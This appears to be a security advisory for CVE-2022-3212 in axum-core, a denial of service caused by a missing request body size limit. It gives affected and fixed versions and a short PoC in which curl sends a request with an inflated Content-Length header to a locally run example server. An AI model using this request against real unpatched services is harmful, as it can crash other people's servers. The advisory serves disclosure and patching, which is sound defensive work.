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- axum-core missing request size limit DoS

CVE-2022-3212 | CVSS 7.5

JFrog Severity: High

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Summary

A missing request size limit for HTTP requests in axum-core can allow network attackers to perform denial of service

Component

[axum-core](#)

Affected versions

axum-core (, 0.2.7], fixed in 0.2.8

axum-core (, 0.3.0-rc.1], fixed in 0.3.0-rc.2

Description

`<bytes::Bytes as axum_core::extract::FromRequest>::from_request` would not, by default, set a limit for the size of the request body. That meant if a malicious peer would send a request with a very large `Content-Length` header (even if the body itself is not very large), the Rust allocator would panic (due to a failed allocation) and the process would crash.

This also applies to these extractors which used `Bytes::from_request` internally:

```
axum::extract::Form
axum::extract::Json
String
```

PoC

```
git clone https://github.com/tokio-rs/axum
```

```
cd axum/examples && cargo run -p example-readme
```

```
curl -v -X POST "http://127.0.0.1:3000/users" -H "Content-Type: application/json" \
--data `python3 -c "import sys; sys.stdout.write('a'*10000)"` -H "Content-Length: 11111111111111111111"
```

Vulnerability Mitigations

No mitigations are provided for this vulnerability.

In order to fully fix this vulnerability, we recommend upgrading axum-core to version 0.2.8

The fixed [axum](#) version is 0.5.16

References

[NVD](#)

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